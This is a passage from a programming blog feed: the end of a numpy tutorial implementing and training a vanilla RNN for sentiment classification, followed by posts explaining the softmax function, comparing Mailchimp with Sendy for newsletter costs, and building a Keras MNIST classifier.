word_to_idx = { w: i for i, w in enumerate(vocab) }
idx_to_word = { i: w for i, w in enumerate(vocab) }
print(word_to_idx['good']) # 16 (this may change)
print(idx_to_word[0]) # sad (this may change)

We can now represent any given word with its corresponding integer index! This is necessary because RNNs can’t understand words - we have to give them numbers.

Finally, recall that each input $x_i$ to our RNN is a vector. We’ll use one-hot vectors, which contain all zeros except for a single one. The “one” in each one-hot vector will be at the word’s corresponding integer index.

Since we have 18 unique words in our vocabulary, each $x_i$ will be a 18-dimensional one-hot vector.

# Header: main.py
import numpy as np

def createInputs(text):
  '''
  Returns an array of one-hot vectors representing the words
  in the input text string.
  - text is a string
  - Each one-hot vector has shape (vocab_size, 1)
  '''
  inputs = []
  for w in text.split(' '):
    v = np.zeros((vocab_size, 1))
    v[word_to_idx[w]] = 1
    inputs.append(v)
  return inputs

We’ll use createInputs() later to create vector inputs to pass in to our RNN.

6. The Forward Phase

It’s time to start implementing our RNN! We’ll start by initializing the 3 weights and 2 biases our RNN needs:

# Header: rnn.py
import numpy as np
from numpy.random import randn

class RNN:
  # A Vanilla Recurrent Neural Network.

  def __init__(self, input_size, output_size, hidden_size=64):
    # Weights
    self.Whh = randn(hidden_size, hidden_size) / 1000
    self.Wxh = randn(hidden_size, input_size) / 1000
    self.Why = randn(output_size, hidden_size) / 1000

    # Biases
    self.bh = np.zeros((hidden_size, 1))
    self.by = np.zeros((output_size, 1))

Note: We're dividing by 1000 to reduce the initial variance of our weights. This is not the best way to initialize weights, but it's simple and works for this post.

We use np.random.randn() to initialize our weights from the standard normal distribution.

Next, let’s implement our RNN’s forward pass. Remember these two equations we saw earlier?

h_t = \tanh (W_{xh} x_t + W_{hh} h_{t-1} + b_h)

y_t = W_{hy} h_t + b_y

Here are those same equations put into code:

# Header: rnn.py
class RNN:
  # ...

  def forward(self, inputs):
    '''
    Perform a forward pass of the RNN using the given inputs.
    Returns the final output and hidden state.
    - inputs is an array of one-hot vectors with shape (input_size, 1).
    '''
    h = np.zeros((self.Whh.shape[0], 1))

    # Perform each step of the RNN
    for i, x in enumerate(inputs):
      h = np.tanh(self.Wxh @ x + self.Whh @ h + self.bh)

    # Compute the output
    y = self.Why @ h + self.by

    return y, h

Pretty simple, right? Note that we initialized $h$ to the zero vector for the first step, since there’s no previous $h$ we can use at that point.

Let’s try it out:

# Header: main.py
# ...

def softmax(xs):
  # Applies the Softmax Function to the input array.
  return np.exp(xs) / sum(np.exp(xs))

# Initialize our RNN!
rnn = RNN(vocab_size, 2)

inputs = createInputs('i am very good')
out, h = rnn.forward(inputs)
probs = softmax(out)
print(probs) # [[0.50000095], [0.49999905]]

If you need a refresher on Softmax, read my quick explanation of Softmax.

Our RNN works, but it’s not very useful yet. Let’s change that…

7. The Backward Phase

In order to train our RNN, we first need a loss function. We’ll use cross-entropy loss, which is often paired with Softmax. Here’s how we calculate it:

L = -\ln (p_c)

where $p_c$ is our RNN’s predicted probability for the correct class (positive or negative). For example, if a positive text is predicted to be 90% positive by our RNN, the loss is:

L = -\ln(0.90) = 0.105

Want a longer explanation? Read the Cross-Entropy Loss section of my introduction to Convolutional Neural Networks (CNNs).

Now that we have a loss, we’ll train our RNN using gradient descent to minimize loss. That means it’s time to derive some gradients!

⚠️ The following section assumes a basic knowledge of multivariable calculus. You can skip it if you want, but I recommend giving it a skim even if you don’t understand much. We’ll incrementally write code as we derive results, and even a surface-level understanding can be helpful.

If you want some extra background for this section, I recommend first reading the Training a Neural Network section of my introduction to Neural Networks. Also, all of the code for this post is on Github, so you can follow along there if you’d like.

Ready? Here we go.

7.1 Definitions

First, some definitions:

Let $y$ represent the raw outputs from our RNN.
Let $p$ represent the final probabilities: $p = \text{softmax}(y)$ .
Let $c$ refer to the true label of a certain text sample, a.k.a. the “correct” class.
Let $L$ be the cross-entropy loss: $L = -\ln(p_c)$ .
Let $W_{xh}$ , $W_{hh}$ , and $W_{hy}$ be the 3 weight matrices in our RNN.
Let $b_h$ and $b_y$ be the 2 bias vectors in our RNN.

7.2 Setup

Next, we need to edit our forward phase to cache some data for use in the backward phase. While we’re at it, we’ll also setup the skeleton for our backwards phase. Here’s what that looks like:

# Header: rnn.py
class RNN:
  # ...

  def forward(self, inputs):
    '''
    Perform a forward pass of the RNN using the given inputs.
    Returns the final output and hidden state.
    - inputs is an array of one-hot vectors with shape (input_size, 1).
    '''
    h = np.zeros((self.Whh.shape[0], 1))

    self.last_inputs = inputs    self.last_hs = { 0: h }
    # Perform each step of the RNN
    for i, x in enumerate(inputs):
      h = np.tanh(self.Wxh @ x + self.Whh @ h + self.bh)
      self.last_hs[i + 1] = h
    # Compute the output
    y = self.Why @ h + self.by

    return y, h

  def backprop(self, d_y, learn_rate=2e-2):    '''    Perform a backward pass of the RNN.    - d_y (dL/dy) has shape (output_size, 1).    - learn_rate is a float.    '''    pass

Curious about why we’re doing this caching? Read my explanation in the Training Overview of my introduction to CNNs, in which we do the same thing.

7.3 Gradients

It’s math time! We’ll start by calculating $\frac{\partial L}{\partial y}$ . We know:

L = -\ln(p_c) = -\ln(\text{softmax}(y_c))

I’ll leave the actual derivation of $\frac{\partial L}{\partial y}$ using the Chain Rule as an exercise for you 😉, but the result comes out really nice:

\frac{\partial L}{\partial y_i} = \begin{cases} p_i & \text{if $i \neq c$} \\ p_i - 1 & \text{if $i = c$} \\ \end{cases}

For example, if we have $p = [0.2, 0.2, 0.6]$ and the correct class is $c = 0$ , then we’d get $\frac{\partial L}{\partial y} = [-0.8, 0.2, 0.6]$ . This is also quite easy to turn into code:

# Header: main.py
# Loop over each training example
for x, y in train_data.items():
  inputs = createInputs(x)
  target = int(y)

  # Forward
  out, _ = rnn.forward(inputs)
  probs = softmax(out)

  # Build dL/dy
  d_L_d_y = probs  d_L_d_y[target] -= 1
  # Backward
  rnn.backprop(d_L_d_y)

Nice. Next up, let’s take a crack at gradients for $W_{hy}$ and $b_y$ , which are only used to turn the final hidden state into the RNN’s output. We have:

\frac{\partial L}{\partial W_{hy}} = \frac{\partial L}{\partial y} * \frac{\partial y}{\partial W_{hy}}

y = W_{hy} h_n + b_y

where $h_n$ is the final hidden state. Thus,

\frac{\partial y}{\partial W_{hy}} = h_n

\frac{\partial L}{\partial W_{hy}} = \boxed{\frac{\partial L}{\partial y} h_n}

Similarly,

\frac{\partial y}{\partial b_y} = 1

\frac{\partial L}{\partial b_y} = \boxed{\frac{\partial L}{\partial y}}

We can now start implementing backprop()!

# Header: rnn.py
class RNN:
  # ...

  def backprop(self, d_y, learn_rate=2e-2):
    '''
    Perform a backward pass of the RNN.
    - d_y (dL/dy) has shape (output_size, 1).
    - learn_rate is a float.
    '''
    n = len(self.last_inputs)

    # Calculate dL/dWhy and dL/dby.
    d_Why = d_y @ self.last_hs[n].T    d_by = d_y

Reminder: We created self.last_hs in forward() earlier.

Finally, we need the gradients for $W_{hh}$ , $W_{xh}$ , and $b_h$ , which are used every step during the RNN. We have:

\frac{\partial L}{\partial W_{xh}} = \frac{\partial L}{\partial y} \sum_t \frac{\partial y}{\partial h_t} * \frac{\partial h_t}{\partial W_{xh}}

because changing $W_{xh}$ affects every $h_t$ , which all affect $y$ and ultimately $L$ . In order to fully calculate the gradient of $W_{xh}$ , we’ll need to backpropagate through all timesteps, which is known as Backpropagation Through Time (BPTT):

$W_{xh}$ is used for all $x_t$ → $h_t$ forward links, so we have to backpropagate back to each of those links.

Once we arrive at a given step $t$ , we need to calculate $\frac{\partial h_t}{\partial W_{xh}}$ :

h_t = \tanh (W_{xh} x_t + W_{hh} h_{t-1} + b_h)

The derivative of $\tanh$ is well-known:

\frac{d \tanh(x)}{dx} = 1 - \tanh^2(x)

We use Chain Rule like usual:

\frac{\partial h_t}{\partial W_{xh}} = \boxed{(1 - h_t^2) x_t}

Similarly,

\frac{\partial h_t}{\partial W_{hh}} = \boxed{(1 - h_t^2) h_{t-1}}

\frac{\partial h_t}{\partial b_h} = \boxed{(1 - h_t^2)}

The last thing we need is $\frac{\partial y}{\partial h_t}$ . We can calculate this recursively:

\begin{aligned} \frac{\partial y}{\partial h_t} &= \frac{\partial y}{\partial h_{t+1}} * \frac{\partial h_{t+1}}{\partial h_t} \\ &= \frac{\partial y}{\partial h_{t+1}} (1 - h_t^2) W_{hh} \\ \end{aligned}

We’ll implement BPTT starting from the last hidden state and working backwards, so we’ll already have $\frac{\partial y}{\partial h_{t+1}}$ by the time we want to calculate $\frac{\partial y}{\partial h_t}$ ! The exception is the last hidden state, $h_n$ :

\frac{\partial y}{\partial h_n} = W_{hy}

We now have everything we need to finally implement BPTT and finish backprop():

# Header: rnn.py
class RNN:
  # ...

  def backprop(self, d_y, learn_rate=2e-2):
    '''
    Perform a backward pass of the RNN.
    - d_y (dL/dy) has shape (output_size, 1).
    - learn_rate is a float.
    '''
    n = len(self.last_inputs)

    # Calculate dL/dWhy and dL/dby.
    d_Why = d_y @ self.last_hs[n].T
    d_by = d_y

    # Initialize dL/dWhh, dL/dWxh, and dL/dbh to zero.
    d_Whh = np.zeros(self.Whh.shape)
    d_Wxh = np.zeros(self.Wxh.shape)
    d_bh = np.zeros(self.bh.shape)

    # Calculate dL/dh for the last h.
    d_h = self.Why.T @ d_y

    # Backpropagate through time.
    for t in reversed(range(n)):
      # An intermediate value: dL/dh * (1 - h^2)
      temp = ((1 - self.last_hs[t + 1] ** 2) * d_h)

      # dL/db = dL/dh * (1 - h^2)
      d_bh += temp
      # dL/dWhh = dL/dh * (1 - h^2) * h_{t-1}
      d_Whh += temp @ self.last_hs[t].T
      # dL/dWxh = dL/dh * (1 - h^2) * x
      d_Wxh += temp @ self.last_inputs[t].T
      # Next dL/dh = dL/dh * (1 - h^2) * Whh
      d_h = self.Whh @ temp

    # Clip to prevent exploding gradients.
    for d in [d_Wxh, d_Whh, d_Why, d_bh, d_by]:
      np.clip(d, -1, 1, out=d)

    # Update weights and biases using gradient descent.
    self.Whh -= learn_rate * d_Whh
    self.Wxh -= learn_rate * d_Wxh
    self.Why -= learn_rate * d_Why
    self.bh -= learn_rate * d_bh
    self.by -= learn_rate * d_by

A few things to note:

We’ve merged $\frac{\partial L}{\partial y} * \frac{\partial y}{\partial h}$ into $\frac{\partial L}{\partial h}$ for convenience.
We’re constantly updating a d_h variable that holds the most recent $\frac{\partial L}{\partial h_{t+1}}$ , which we need to calculate $\frac{\partial L}{\partial h_t}$ .
After finishing BPTT, we np.clip() gradient values that are below -1 or above 1. This helps mitigate the exploding gradient problem, which is when gradients become very large due to having lots of multiplied terms. Exploding or vanishing gradients are quite problematic for vanilla RNNs - more complex RNNs like LSTMs are generally better-equipped to handle them.
Once all gradients are calculated, we update weights and biases using gradient descent.

We’ve done it! Our RNN is complete.

8. The Culmination

It’s finally the moment we been waiting for - let’s test our RNN!

First, we’ll write a helper function to process data with our RNN:

# Header: main.py
import random

def processData(data, backprop=True):
  '''
  Returns the RNN's loss and accuracy for the given data.
  - data is a dictionary mapping text to True or False.
  - backprop determines if the backward phase should be run.
  '''
  items = list(data.items())
  random.shuffle(items)

  loss = 0
  num_correct = 0

  for x, y in items:
    inputs = createInputs(x)
    target = int(y)

    # Forward
    out, _ = rnn.forward(inputs)
    probs = softmax(out)

    # Calculate loss / accuracy
    loss -= np.log(probs[target])
    num_correct += int(np.argmax(probs) == target)

    if backprop:
      # Build dL/dy
      d_L_d_y = probs
      d_L_d_y[target] -= 1

      # Backward
      rnn.backprop(d_L_d_y)

  return loss / len(data), num_correct / len(data)

Now, we can write the training loop:

# Header: main.py
# Training loop
for epoch in range(1000):
  train_loss, train_acc = processData(train_data)

  if epoch % 100 == 99:
    print('--- Epoch %d' % (epoch + 1))
    print('Train:\tLoss %.3f | Accuracy: %.3f' % (train_loss, train_acc))

    test_loss, test_acc = processData(test_data, backprop=False)
    print('Test:\tLoss %.3f | Accuracy: %.3f' % (test_loss, test_acc))

Running main.py should output something like this:

--- Epoch 100
Train:  Loss 0.688 | Accuracy: 0.517
Test:   Loss 0.700 | Accuracy: 0.500
--- Epoch 200
Train:  Loss 0.680 | Accuracy: 0.552
Test:   Loss 0.717 | Accuracy: 0.450
--- Epoch 300
Train:  Loss 0.593 | Accuracy: 0.655
Test:   Loss 0.657 | Accuracy: 0.650
--- Epoch 400
Train:  Loss 0.401 | Accuracy: 0.810
Test:   Loss 0.689 | Accuracy: 0.650
--- Epoch 500
Train:  Loss 0.312 | Accuracy: 0.862
Test:   Loss 0.693 | Accuracy: 0.550
--- Epoch 600
Train:  Loss 0.148 | Accuracy: 0.914
Test:   Loss 0.404 | Accuracy: 0.800
--- Epoch 700
Train:  Loss 0.008 | Accuracy: 1.000
Test:   Loss 0.016 | Accuracy: 1.000
--- Epoch 800
Train:  Loss 0.004 | Accuracy: 1.000
Test:   Loss 0.007 | Accuracy: 1.000
--- Epoch 900
Train:  Loss 0.002 | Accuracy: 1.000
Test:   Loss 0.004 | Accuracy: 1.000
--- Epoch 1000
Train:  Loss 0.002 | Accuracy: 1.000
Test:   Loss 0.003 | Accuracy: 1.000

Not bad from a RNN we built ourselves. 💯

Want to try or tinker with this code yourself? Run this RNN in your browser. It’s also available on Github.

9. The End

That’s it! In this post, we completed a walkthrough of Recurrent Neural Networks, including what they are, how they work, why they’re useful, how to train them, and how to implement one. There’s still much more you can do, though:

Learn about Long short-term memory networks, a more powerful and popular RNN architecture, or about Gated Recurrent Units (GRUs), a well-known variation of the LSTM.
Experiment with bigger / better RNNs using proper ML libraries like Tensorflow, Keras, or PyTorch.
Read the rest of my Neural Networks from Scratch series.
Read about Bidirectional RNNs, which process sequences both forwards and backwards so more information is available to the output layer.
Try out Word Embeddings like GloVe or Word2Vec, which can be used to turn words into more useful vector representations.
Check out the Natural Language Toolkit (NLTK), a popular Python library for working with human language data.

Thanks for reading!

A Simple Explanation of the Softmax Function

Mon, 22 Jul 2019 12:00:00 GMT

Softmax turns arbitrary real values into probabilities, which are often useful in Machine Learning. The math behind it is pretty simple: given some numbers,

Raise e (the mathematical constant) to the power of each of those numbers.
Sum up all the exponentials (powers of $e$ ). This result is the denominator.
Use each number’s exponential as its numerator.
$\text{Probability} = \frac{\text{Numerator}}{\text{Denominator}}$ .

Written more fancily, Softmax performs the following transform on $n$ numbers $x_1 \ldots x_n$ :

s(x_i) = \frac{e^{x_i}}{\sum_{j=1}^n e^{x_j}}

The outputs of the Softmax transform are always in the range $[0, 1]$ and add up to 1. Hence, they form a probability distribution.

A Simple Example

Say we have the numbers -1, 0, 3, and 5. First, we calculate the denominator:

\begin{aligned} \text{Denominator} &= e^{-1} + e^0 + e^3 + e^5 \\ &= \boxed{169.87} \\ \end{aligned}

Then, we can calculate the numerators and probabilities:

$x$	Numerator ( $e^x$ )	Probability ( $\frac{e^x}{169.87}$ )
-1	0.368	0.002
0	1	0.006
3	20.09	0.118
5	148.41	0.874

The bigger the $x$ , the higher its probability. Also, notice that the probabilities all add up to 1, as mentioned before.

Implementing Softmax in Python

Using numpy makes this super easy:

import numpy as np

def softmax(xs):
    return np.exp(xs) / sum(np.exp(xs))

xs = np.array([-1, 0, 3, 5])
print(softmax(xs)) # [0.0021657, 0.00588697, 0.11824302, 0.87370431]

np.exp() raises e to the power of each element in the input array.

Note: for more advanced users, you’ll probably want to implement this using the LogSumExp trick to avoid underflow/overflow problems.

Why is Softmax useful?

Imagine building a Neural Network to answer the question: Is this picture of a dog or a cat?

A common design for this neural network would have it output 2 real numbers, one representing dog and the other cat, and apply Softmax on these values. For example, let’s say the network outputs $[-1, 2]$ :

Animal	$x$	$e^x$	Probability
Dog	-1	0.368	0.047
Cat	2	7.39	0.953

This means our network is 95.3% confident that the picture is of a cat. Softmax lets us answer classification questions with probabilities, which are more useful than simpler answers (e.g. binary yes/no).

Mailchimp to Sendy: How I Cut Email Costs by 100x

Tue, 02 Jul 2019 12:00:00 GMT

Disclaimer: some links in this post are affiliate links. These help support the blog by allowing me to receive a bonus if you sign up.

When I started this blog, I used Mailchimp to create an email newsletter so readers could sign up to get new posts in their inbox. This was an easy choice: Mailchimp has a good free tier, is super easy to setup, and is a pleasure to use.

My email newsletter has grown since those early days, though, and I’m going to pass the 2,000 subscriber mark soon 🎉, which is where Mailchimp’s free tier ends. Thus, I did a bit of research to see how much it would cost me to keep my newsletter on Mailchimp:

😲. At just 500 subscribers past the free tier limit, it would cost $30 / month to maintain my email list, even if I didn’t send any emails.

It gets worse: when I started blogging, I set a goal to reach 10,000 subscribers by the end of my first year. Here’s what life with Mailchimp would look like if I hit that milestone:

$75 / month at 10k subscribers. Let’s put that in perspective:

Monthly Costs for this blog with 10k subscribers

Yup - it was time to say goodbye to Mailchimp.

Amazon SES

I’d heard that Amazon had some kind of email offering before, so I decided to check that out first. It’s called the Amazon Simple Email Service (SES), and it does exactly what you’d think: allow customers to send out emails for cheap. Its pricing is simple, too: $0.10 per 1000 emails.

That’s an attractive price, but Amazon SES only lets you send emails - it’s missing a lot of features that you’d want for an email newsletter. Sure, I could implement everything I needed from scratch, but that’s got to be against some kind of programmer’s oath, right? I figured someone must’ve done this already…

Sendy

…and I was right! That’s what Sendy is for: it implements everything you’d want for an email newsletter on top of Amazon SES.

Pricing is simple: you pay a one time fee of $59 to buy a copy of Sendy, and then it’s yours to use forever - you only pay Amazon SES costs after that.

That’s a big difference from Mailchimp - assuming 4 emails per month, here’s how the monthly costs for each add up:

# of Subscribers	Mailchimp Standard Plan	Mailchimp Essentials Plan	Sendy
2,000	$50	$0	$0.80
5,000	$75	$50	$2
10,000	$99	$75	$4
25,000	$219	$189	$10
50,000	$299	$259	$20
This table speaks for itself.

The difference becomes more drastic if you send fewer emails or upgrade to Mailchimp’s Premium plan - Sendy can easily be 100x cheaper than Mailchimp.

Sendy Setup

One downside of using Sendy is that you have to setup / host it yourself. However, this is really not that bad! Here’s a quick runthrough of the steps I took to get up and running with Sendy:

Rent a $5 server from Digital Ocean with a pre-installed LAMP stack.
Setup MySQL by creating a user and database for Sendy.
Configure a few values needed by Sendy, e.g. database credentials.
Upload the Sendy source code to my server using rsync.
Install a few PHP libraries and fiddle with a few settings (see the Sendy Server Compatibility Checklist for more details).
Finalize the Sendy installation using the provided License Key.
Export my subscribers from Mailchimp and import them into Sendy!

This whole process only takes ~1-2 hours. While my installation method requires a bit of sysadmin knowledge, it’s also easy to install Sendy on something like Wordpress without any technical background.

Note: I didn’t include the $5 / month server in the cost table above because you could easily run Sendy for cheaper or for free (on your existing web hosting).

Sendy’s Features

I won’t elaborate too much because Sendy’s website does a great job describing their features, but here a few that were especially important to me:

Custom Fields: I store a bit of extra information about my subscribers, e.g. what kind of posts they want to receive.
List Segmentation: I can choose to send certain emails to only specific segments of my email list. For example, if someone wanted to receive only Machine Learning content from me, this lets me exclude them from non-ML emails when needed.
Bounce + Unsubscribe Handling: Any bounces, complaints, or unsubscribes are automatically handled by Sendy!

In my experience, Sendy has most of Mailchimp’s core features - you’ll be well-equipped to manage your newsletter.

Sendy’s Drawback: Email Templates

Here’s the catch: part of what you’re paying Mailchimp for is the ability to easily create robust, responsive emails in a drag-and-drop editor. With Sendy, you’ll have to create your own email templates. Sendy comes with a WYSIWYG editor to help you through this process, but even so it’s no secret that making decent email templates is a pain. Different email clients support vastly differing subsets of HTML and CSS - nothing is standardized.

An example screenshot of Sendy's WYSIWYG email editor.

There are several good open-source projects out there for this - I ended up using Cerberus to get started. If you want, you can also view my email templates on Github (my blog is open source)!

Making my own email templates took ~3 hours, so in total I spent around 5 hours upfront on Sendy. That’s a low price to pay for Sendy’s benefits!

Mailchimp saves 🕒, Sendy saves 💰

If you’re willing to put in a few hours of work to setup Sendy, it can save you a lot of money in the long run. Still skeptical? Read more on the official Sendy site.

Questions? Comments? Leave them below, or tweet at me.

Keras for Beginners: Building Your First Neural Network

Fri, 14 Jun 2019 12:00:00 GMT

Keras is a simple-to-use but powerful deep learning library for Python. In this post, we’ll see how easy it is to build a feedforward neural network and train it to solve a real problem with Keras.

This post is intended for complete beginners to Keras but does assume a basic background knowledge of neural networks. My introduction to Neural Networks covers everything you need to know (and more) for this post - read that first if necessary.

Let’s get started!

Just want the code? The full source code is at the end.

The Problem: MNIST digit classification

We’re going to tackle a classic machine learning problem: MNIST handwritten digit classification. It’s simple: given an image, classify it as a digit.

Sample images from the MNIST dataset

Each image in the MNIST dataset is 28x28 and contains a centered, grayscale digit. We’ll flatten each 28x28 into a 784 dimensional vector, which we’ll use as input to our neural network. Our output will be one of 10 possible classes: one for each digit.

1. Setup

I’m assuming you already have a basic Python installation ready (you probably do). Let’s first install some packages we’ll need:

$ pip install tensorflow numpy mnist

Note: We don’t need to install the keras package because it now comes bundled with TensorFlow as its official high-level API! Using TensorFlow’s Keras is now recommended over the standalone keras package.

You should now be able to import these packages and poke around the MNIST dataset:

import numpy as np
import mnist
from tensorflow import keras

# The first time you run this might be a bit slow, since the
# mnist package has to download and cache the data.
train_images = mnist.train_images()
train_labels = mnist.train_labels()

print(train_images.shape) # (60000, 28, 28)
print(train_labels.shape) # (60000,)

2. Preparing the Data

As mentioned earlier, we need to flatten each image before we can pass it into our neural network. We’ll also normalize the pixel values from [0, 255] to [-0.5, 0.5] to make our network easier to train (using smaller, centered values is often better).

import numpy as np
import mnist

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

# Normalize the images.
train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

# Flatten the images.
train_images = train_images.reshape((-1, 784))
test_images = test_images.reshape((-1, 784))

print(train_images.shape) # (60000, 784)
print(test_images.shape)  # (10000, 784)

We’re ready to start building our neural network!

3. Building the Model

We start by instantiating a Sequential model:

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense

# WIP
model = Sequential([
  # layers...
])

The Sequential constructor takes an array of Keras Layers. Since we’re just building a standard feedforward network, we only need the Dense layer, which is your regular fully-connected (dense) network layer.

Let’s throw in 3 Dense layers:

# Still a WIP
model = Sequential([
  Dense(64, activation='relu'),
  Dense(64, activation='relu'),
  Dense(10, activation='softmax'),
])

The first two layers have 64 nodes each and use the ReLU activation function. The last layer is a Softmax output layer with 10 nodes, one for each class.

If you need a refresher, read my simple Softmax explanation.

The last thing we always need to do is tell Keras what our network’s input will look like. We can do that by specifying an input_shape to the first layer in the Sequential model:

model = Sequential([
  Dense(64, activation='relu', input_shape=(784,)),
  Dense(64, activation='relu'),
  Dense(10, activation='softmax'),
])

Once the input shape is specified, Keras will automatically infer the shapes of inputs for later layers. We’ve finished defining our model! Here’s where we’re at:

import numpy as np
import mnist
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

# Normalize the images.
train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

# Flatten the images.
train_images = train_images.reshape((-1, 784))
test_images = test_images.reshape((-1, 784))

# Build the model.
model = Sequential([
  Dense(64, activation='relu', input_shape=(784,)),
  Dense(64, activation='relu'),
  Dense(10, activation='softmax'),
])

4. Compiling the Model

Before we can begin training, we need to configure the training process. We decide 3 key factors during the compilation step:

The optimizer. We’ll stick with a pretty good default: the Adam gradient-based optimizer. Keras has many other optimizers you can look into as well.
The loss function. Since we’re using a Softmax output layer, we’ll use the Cross-Entropy loss. Keras distinguishes between binary_crossentropy (2 classes) and categorical_crossentropy (>2 classes), so we’ll use the latter. See all Keras losses.
A list of metrics. Since this is a classification problem, we’ll just have Keras report on the accuracy metric.

Here’s what that compilation looks like:

model.compile(
  optimizer='adam',
  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

Onwards!

5. Training the Model

Training a model in Keras literally consists only of calling fit() and specifying some parameters. There are a lot of possible parameters, but we’ll only manually supply a few:

The training data (images and labels), commonly known as X and Y, respectively.
The number of epochs (iterations over the entire dataset) to train for.
The batch size (number of samples per gradient update) to use when training.

Here’s what that looks like:

model.fit(
  train_images, # training data
  train_labels, # training targets
  epochs=5,
  batch_size=32,
)

This doesn’t actually work yet, though - we overlooked one thing. Keras expects the training targets to be 10-dimensional vectors, since there are 10 nodes in our Softmax output layer, but we’re instead supplying a single integer representing the class for each image.

We can now put everything together to train our network:

import numpy as np
import mnist
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
from tensorflow.keras.utils import to_categorical

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

# Normalize the images.
train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

# Flatten the images.
train_images = train_images.reshape((-1, 784))
test_images = test_images.reshape((-1, 784))

# Build the model.
model = Sequential([
  Dense(64, activation='relu', input_shape=(784,)),
  Dense(64, activation='relu'),
  Dense(10, activation='softmax'),
])

# Compile the model.
model.compile(
  optimizer='adam',
  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

# Train the model.
model.fit(
  train_images,
  to_categorical(train_labels),
  epochs=5,
  batch_size=32,
)

Running that code gives us something like this:

Epoch 1/5
60000/60000 [==============================] - 2s 35us/step - loss: 0.3772 - acc: 0.8859
Epoch 2/5
60000/60000 [==============================] - 2s 31us/step - loss: 0.1928 - acc: 0.9421
Epoch 3/5
60000/60000 [==============================] - 2s 31us/step - loss: 0.1469 - acc: 0.9536
Epoch 4/5
60000/60000 [==============================] - 2s 31us/step - loss: 0.1251 - acc: 0.9605
Epoch 5/5
60000/60000 [==============================] - 2s 31us/step - loss: 0.1079 - acc: 0.9663

We reached 96.6% training accuracy after 5 epochs! This doesn’t tell us much, though - we may be overfitting. The real challenge will be seeing how our model performs on our test data.

6. Testing the Model

Evaluating the model is pretty simple:

model.evaluate(
  test_images,
  to_categorical(test_labels)
)

Running that gives us:

10000/10000 [==============================] - 0s 15us/step
[0.10821614159140736, 0.965]

evaluate() returns an array containing the test loss followed by any metrics we specified. Thus, our model achieves a 0.108 test loss and 96.5% test accuracy! Not bad for your first neural network.

7. Using the Model

Now that we have a working, trained model, let’s put it to use. The first thing we’ll do is save it to disk so we can load it back up anytime:

model.save_weights('model.h5')

We can now reload the trained model whenever we want by rebuilding it and loading in the saved weights:

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense

# Build the model.
model = Sequential([
  Dense(64, activation='relu', input_shape=(784,)),
  Dense(64, activation='relu'),
  Dense(10, activation='softmax'),
])

# Load the model's saved weights.
model.load_weights('model.h5')

# Predict on the first 5 test images.
predictions = model.predict(test_images[:5])

# Print our model's predictions.
print(np.argmax(predictions, axis=1)) # [7, 2, 1, 0, 4]

# Check our predictions against the ground truths.
print(test_labels[:5]) # [7, 2, 1, 0, 4]

8. Extensions

What we’ve covered so far was but a brief introduction - there’s much more we can do to experiment with and improve this network. I’ve included a few examples below:

Tuning Hyperparameters

A good hyperparameter to start with is the learning rate for the Adam optimizer. What happens when you increase or decrease it?

from tensorflow.keras.optimizers import Adam
model.compile(
  optimizer=Adam(lr=0.005),  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

What about the batch size and number of epochs?

model.fit(
  train_images,
  to_categorical(train_labels),
  epochs=10,  batch_size=64,)

Network Depth

What happens if we remove or add more fully-connected layers? How does that affect training and/or the model’s final performance?

model = Sequential([
  Dense(64, activation='relu', input_shape=(784,)),
  Dense(64, activation='relu'),
  Dense(64, activation='relu'),  Dense(64, activation='relu'),  Dense(10, activation='softmax'),
])

Activations

What if we use an activation other than ReLU, e.g. sigmoid?

model = Sequential([
  Dense(64, activation='sigmoid', input_shape=(784,)),  Dense(64, activation='sigmoid'),  Dense(10, activation='softmax'),
])

Dropout

What if we tried adding Dropout layers, which are known to prevent overfitting?

from tensorflow.keras.layers import Dense, Dropout
model = Sequential([
  Dense(64, activation='relu', input_shape=(784,)),
  Dropout(0.5),  Dense(64, activation='relu'),
  Dropout(0.5),  Dense(10, activation='softmax'),
])

Validation

We can also use the testing dataset for validation during training. Keras will evaluate the model on the validation set at the end of each epoch and report the loss and any metrics we asked for. This allows us to monitor our model’s progress over time during training, which can be useful to identify overfitting and even support early stopping.

model.fit(
  train_images,
  to_categorical(train_labels),
  epochs=5,
  batch_size=32,
  validation_data=(test_images, to_categorical(test_labels)))

Conclusion

You’ve implemented your first neural network with Keras! We achieved a test accuracy of 96.5% on the MNIST dataset after 5 epochs, which is not bad for such a simple network. I’ll include the full source code again below for your reference.

If you want to learn about more advanced techniques to approach MNIST, I recommend checking out my introduction to Convolutional Neural Networks (CNNs). In it, we see how to achieve much higher (>99%) accuracies on MNIST using more complex networks. I also recommend my guide on implementing a CNN with Keras, which is similar to this post.

Further reading you might be interested in include:

My Keras for Beginners series, which has more Keras guides.
The official getting started with Keras guide.
My introduction to CNNs with Keras.

Thanks for reading this post! The full source code is below.

The Full Code

# The full neural network code!
###############################
import numpy as np
import mnist
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
from tensorflow.keras.utils import to_categorical

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

# Normalize the images.
train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

# Flatten the images.
train_images = train_images.reshape((-1, 784))
test_images = test_images.reshape((-1, 784))

# Build the model.
model = Sequential([
  Dense(64, activation='relu', input_shape=(784,)),
  Dense(64, activation='relu'),
  Dense(10, activation='softmax'),
])

# Compile the model.
model.compile(
  optimizer='adam',
  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

# Train the model.
model.fit(
  train_images,
  to_categorical(train_labels),
  epochs=5,
  batch_size=32,
)

# Evaluate the model.
model.evaluate(
  test_images,
  to_categorical(test_labels)
)

# Save the model to disk.
model.save_weights('model.h5')

# Load the model from disk later using:
# model.load_weights('model.h5')

# Predict on the first 5 test images.
predictions = model.predict(test_images[:5])

